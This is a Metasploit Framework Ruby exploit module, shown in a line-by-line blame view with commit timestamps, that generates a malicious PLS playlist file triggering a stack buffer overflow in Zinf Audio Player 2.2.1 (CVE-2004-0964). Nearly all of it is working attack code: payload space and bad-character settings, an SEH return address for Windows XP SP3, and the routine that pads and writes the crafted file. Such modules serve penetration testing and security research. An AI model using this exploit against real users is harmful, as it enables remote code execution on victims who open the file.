2009-04-29 03:45:37 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-04-29 03:45:37 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2010-11-11 22:43:22 +00:00
|
|
|
# http://metasploit.com/framework/
|
2009-04-29 03:45:37 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2009-04-29 03:45:37 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-11-24 19:35:38 +00:00
|
|
|
'Name' => 'Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow',
|
2009-04-29 03:45:37 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack-based buffer overflow in the Zinf Audio Player 2.2.1.
|
2010-04-30 08:40:19 +00:00
|
|
|
An attacker must send the file to victim and the victim must open the file.
|
|
|
|
Alternatively it may be possible to execute code remotely via an embedded
|
|
|
|
PLS file within a browser, when the PLS extention is registered to Zinf.
|
|
|
|
This functionality has not been tested in this module.
|
2009-04-29 03:45:37 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Trancek <trancek[at]yashira.org>', 'patrick' ],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-10-12 14:39:51 +00:00
|
|
|
[ 'CVE', '2004-0964' ],
|
2009-04-29 03:45:37 +00:00
|
|
|
[ 'OSVDB', '10416' ],
|
2009-10-12 14:39:51 +00:00
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/7888' ],
|
2009-04-29 03:45:37 +00:00
|
|
|
[ 'BID', '11248' ],
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 800,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
|
|
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2009-04-29 03:45:37 +00:00
|
|
|
[
|
|
|
|
# Tested by patrick - 20090429 xpsp3
|
|
|
|
[ 'Zinf Universal 2.2.1', { 'Ret' => 0x1204f514 } ], #pop esi; pop ebx; ret - ./Plugins/zinf.ui
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2010-06-15 07:18:08 +00:00
|
|
|
'DisclosureDate' => 'Sep 24 2004',
|
2009-04-29 03:45:37 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'exploit_zinf.pls']),
|
|
|
|
], self.class)
|
2009-04-29 03:45:37 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
filepls = rand_text_alpha_upper(1424) + seh
|
|
|
|
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
|
|
|
|
file_create(filepls)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|